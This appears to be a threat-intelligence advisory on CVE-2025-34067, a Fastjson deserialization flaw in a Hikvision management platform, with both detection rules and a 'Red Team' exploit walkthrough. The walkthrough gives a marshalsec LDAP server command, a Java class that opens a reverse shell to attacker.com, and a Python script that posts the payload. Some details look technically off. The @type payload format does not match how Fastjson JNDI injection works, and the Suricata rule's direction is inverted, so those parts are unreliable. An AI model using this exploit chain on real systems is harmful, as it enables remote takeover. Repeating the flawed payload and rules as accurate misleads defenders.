CVE-2025-34067

Executive Summary

CVE-2025-34067 is a critical unauthenticated remote command execution vulnerability in the Hikvision Integrated Security Management Platform. The flaw resides in the /bic/ssoService/v1/applyCT endpoint, which deserializes untrusted user input using a vulnerable version of the Fastjson library. By leveraging Fastjson’s auto-type feature, an attacker can load arbitrary Java classes via an LDAP URL, leading to full remote code execution on the underlying system. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-05 UTC. No official patch has been released, and the vulnerability is actively exploited in the wild.

Supply Chain & Package Security

This vulnerability is rooted in the use of an outdated Fastjson library, a widely used Java JSON parsing library. The insecure deserialization flaw in Fastjson (CWE-502) allows attackers to trigger arbitrary class loading. Organizations using Hikvision’s platform must verify the Fastjson version in their deployment and apply any available security updates from the library maintainer. The supply chain risk is elevated due to the lack of a vendor patch and the public availability of exploitation techniques.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full system compromise.
• Integrity (I): High (H) – Full system compromise.
• Availability (A): High (H) – Full system compromise.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – Active exploitation observed, no patch available.

Deep Dive & Mechanics

The vulnerability is a classic Java deserialization attack exploiting Fastjson’s auto-type feature. The /bic/ssoService/v1/applyCT endpoint accepts JSON input and deserializes it without proper validation. Fastjson, when configured to support auto-type, will instantiate classes based on the @type field in the JSON payload. An attacker can craft a payload that sets @type to a malicious class hosted on an LDAP server. The LDAP server returns a serialized Java object that, when deserialized, executes arbitrary code.

Attack Flow:

1. Attacker sets up an LDAP server hosting a malicious Java class (e.g., Exploit.class).
2. Attacker sends a POST request to /bic/ssoService/v1/applyCT with a JSON payload containing {"@type":"ldap://attacker.com/Exploit"}.
3. The vulnerable Fastjson library resolves the LDAP URL, fetches the malicious class, and deserializes it.
4. The class executes arbitrary code (e.g., reverse shell, data exfiltration).

Root Cause: The use of an unpatched Fastjson version that allows auto-type deserialization without a whitelist or blacklist.

Vulnerable vs. Patched Code

Vulnerable Code (Fastjson with auto-type enabled):

// Vulnerable: No type validation
JSON.parseObject(input, Feature.SupportAutoType);

Patched Code (Fastjson with safe mode or whitelist):

// Patched: Use safe mode or explicit whitelist
ParserConfig.getGlobalInstance().setSafeMode(true);
// Or
ParserConfig.getGlobalInstance().addAccept("com.example.safe.*");
JSON.parseObject(input);

Note: The exact Hikvision code is proprietary, but the fix involves updating Fastjson to a version that disables auto-type by default or implements a strict whitelist.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3 with requests library.
• A publicly accessible LDAP server (e.g., using marshalsec).
• A malicious Java class compiled to execute a reverse shell.

Step 1: Set up malicious LDAP server

# Using marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Step 2: Host malicious class

# Exploit.java
import java.lang.Runtime;
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1'");
        } catch (Exception e) {}
    }
}

Compile: javac Exploit.java and host on HTTP server.

Step 3: Send exploit payload

import requests

url = "http://target.com/bic/ssoService/v1/applyCT"
payload = '{"@type":"ldap://attacker.com:1389/Exploit"}'
headers = {"Content-Type": "application/json"}

response = requests.post(url, data=payload, headers=headers)
print(response.text)

Expected Result: Reverse shell on attacker’s listener.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /bic/ssoService/v1/applyCT with JSON containing @type and ldap:// or rmi:// URIs.
• Alert on outbound LDAP (port 1389) or RMI (port 1099) connections from the Hikvision server.
• Use network segmentation to block outbound connections from the platform to untrusted hosts.

Hunting:

• Search logs for Fastjson deserialization errors or unexpected class loading.
• Check for processes spawned by the Java application (e.g., bash, nc, python).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_34067_Fastjson_Deserialization {
    meta:
        description = "Detects Fastjson deserialization payloads targeting CVE-2025-34067"
        author = "Valters IT"
        date = "2025-02-06"
        reference = "CVE-2025-34067"
    strings:
        $json_payload = /"@type"\s*:\s*"(ldap|rmi|dns):\/\// nocase
        $applyct_endpoint = "/bic/ssoService/v1/applyCT"
    condition:
        $json_payload or $applyct_endpoint
}

Sigma Rule

title: CVE-2025-34067 Fastjson Deserialization Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to the vulnerable endpoint with Fastjson auto-type payloads
author: Valters IT
date: 2025-02-06
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/bic/ssoService/v1/applyCT'
        cs-content-type: 'application/json'
        cs-request-body|contains: '@type'
    condition: selection
falsepositives:
    - Legitimate use of Fastjson with auto-type (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34067 Fastjson Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/bic/ssoService/v1/applyCT"; http_uri; content:"@type"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Hikvision platform from the internet and untrusted networks.
2. Block outbound LDAP (1389), RMI (1099), and other JNDI protocols at the firewall.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• Update Fastjson to version 1.2.83 or later, which disables auto-type by default.
• If a vendor patch is unavailable, implement a WAF rule to block requests containing @type in JSON bodies.
• Consider replacing the vulnerable component with a secure alternative.

Workaround:

• Disable Fastjson auto-type in the application configuration if possible.
• Use a Java agent to block JNDI injection (e.g., JNDI-Exploit-Kit blocker).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert